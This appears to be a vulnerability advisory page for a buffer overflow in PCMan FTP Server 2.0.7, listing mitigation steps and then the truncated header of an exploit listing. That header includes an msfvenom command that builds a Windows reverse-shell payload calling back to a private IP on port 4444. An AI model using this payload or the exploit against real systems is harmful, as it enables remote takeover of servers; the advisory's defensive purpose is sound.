PCMan FTP Server 2.0.7 · Buffer Overflow
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Data as of 21 Jun 2025, 23:58 UTC
What to do
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1. Immediate identification and inventory of all PCMan FTP Server 2.0.7 instances within the organization. 2. Disable or restrict FTP server access from untrusted networks, ideally limiting it to internal networks or VPNs. 3. Replace PCMan FTP Server 2.0.7 with a more secure and actively maintained FTP server software that has no known vulnerabilities. 4. If continued use is necessary, implement network-level protections such as firewall rules, intrusion detection/prevention systems (IDS/IPS) tuned to detect exploit attempts targeting this vulnerability. 5. Monitor FTP server logs for unusual or malformed commands indicative of exploitation attempts. 6. Employ application-layer gateways or FTP proxies that can sanitize or block malicious inputs. 7. Educate IT staff about this vulnerability and ensure rapid response capabilities for any detected exploitation attempts. 8. Consider disabling FTP entirely in favor of more secure protocols like SFTP or FTPS, which provide encryption and better security controls.
Description
PCMan FTP Server 2.0.7 - Buffer Overflow
Indicators of compromise
Exploit source code
# Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow
# Date: 04/17/2025
# Exploit Author: Fernando Mengali
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link:
https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7
# Tested on: Windows XP SP3 - # Version 5.1 (Build 2600.xpsp.080413-3111 :
Service Pack 2)
# CVE: CVE-2025-4255
# msfvenom -p windows/shell_reverse_tcp lhost=192.168.176.136 lport=4444
EXITFUNC=thread -b '\x00\x0a\x0d' -a x86 --pl…